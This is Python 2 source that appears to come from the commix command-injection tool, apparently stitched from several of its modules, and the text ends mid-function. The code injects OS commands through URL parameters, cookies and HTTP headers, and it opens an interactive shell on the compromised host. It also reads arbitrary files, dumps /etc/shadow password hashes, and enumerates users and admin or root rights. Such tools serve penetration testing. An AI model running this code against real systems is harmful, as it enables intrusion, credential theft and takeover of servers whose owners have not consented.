def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
shell = "".join(str(p) for p in shell)
success_msg = "The hostname is " + shell
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print settings.print_warning_msg(warn_msg)
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
logs.print_logs_notification(filename, url)
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg)
raise SystemExit()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
else:
cmd = "\"" + cmd + "\""
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
ps_version = eb_injector.injection_results(response, TAG, cmd)
ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
try:
if float(ps_version):
settings.PS_ENABLED = True
# Output PowerShell's version number
success_msg = "The PowerShell's version number is "
success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The PowerShell's version number is " + ps_version + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print settings.print_warning_msg(warn_msg)
settings.PS_ENABLED = False
checks.ps_check_failed()
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
print ""
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_success_msg(success_msg))
print shell
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def cb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == " ":
whitespace = urllib.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = cb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = cb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method + ""
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
#print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
except:
print ""
continue
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser()
shell = html_parser.unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = cb_injector.injection_results(response, TAG, cmd)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if sys_passes == "":
sys_passes = " "
if sys_passes :
info_msg = "Fetching '" + settings.SHADOW_FILE
info_msg += "' to enumerate users password hashes... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_passes))
success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
print "\n" + settings.print_warning_msg(warn_msg)
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
# else:
# settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = cb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Windows users enumeration.
if settings.TARGET_OS == "win":
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'","\\'")
cmd = "cmd /c " + cmd
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
check_privs = cb_injector.injection_results(response, TAG, cmd)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
print " (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print "\n" + settings.print_warning_msg(warn_msg)
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print "\n" + settings.print_warning_msg(warn_msg)
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
print " (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print settings.print_warning_msg(warn_msg)
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print "\n" + settings.print_warning_msg(warn_msg)
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = cb_injector.injection_results(response, TAG, cmd)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if cu_account:
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if settings.USE_BACKTICKS:
cmd = cmd.replace("echo $(","").replace(")","")
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
